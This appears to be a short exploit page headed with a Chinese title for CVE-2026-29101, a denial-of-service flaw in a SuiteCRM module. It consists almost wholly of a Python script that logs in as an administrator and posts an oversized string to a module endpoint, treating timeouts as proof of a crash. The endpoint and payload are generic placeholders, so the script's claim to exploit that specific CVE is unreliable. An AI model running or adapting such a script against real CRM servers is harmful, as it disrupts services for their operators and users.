CVE-2026-29101 SuiteCRM模块拒绝服务漏洞

import requests # Exploit Title: SuiteCRM Module DoS PoC (CVE-2026-29101) # Description: This script demonstrates a potential DoS attack on a vulnerable module. # Note: Requires High Privileges (Admin credentials). target_url = "http://target-suitecrm-instance.com" login_endpoint = f"{target_url}/index.php" vuln_module_endpoint = f"{target_url}/index.php?module=VulnerableModule&action=specific_action" # Credentials for a high-privilege user username = "admin" password = "password" session = requests.Session() # 1. Authenticate to get the session login_data = { "user_name": username, "user_password": password, "module": "Users", "action": "Login" } print("[+] Attempting login...") response = session.post(login_endpoint, data=login_data) if response.status_code == 200: print("[+] Login successful.") # 2. Send malicious payload to trigger DoS # Adjust payload based on specific vulnerability details (e.g., large string, special chars) malicious_payload = { "data": "A" * 100000 # Example payload causing resource exhaustion } print(f"[+] Sending payload to {vuln_module_endpoint}...") try: exploit_resp = session.post(vuln_module_endpoint, data=malicious_payload, timeout=5) print(f"[+] Response status: {exploit_resp.status_code}") except requests.exceptions.Timeout: print("[!] Server timed out - DoS likely successful.") except requests.exceptions.ConnectionError: print("[!] Connection error - Service likely crashed.") else: print("[-] Login failed.")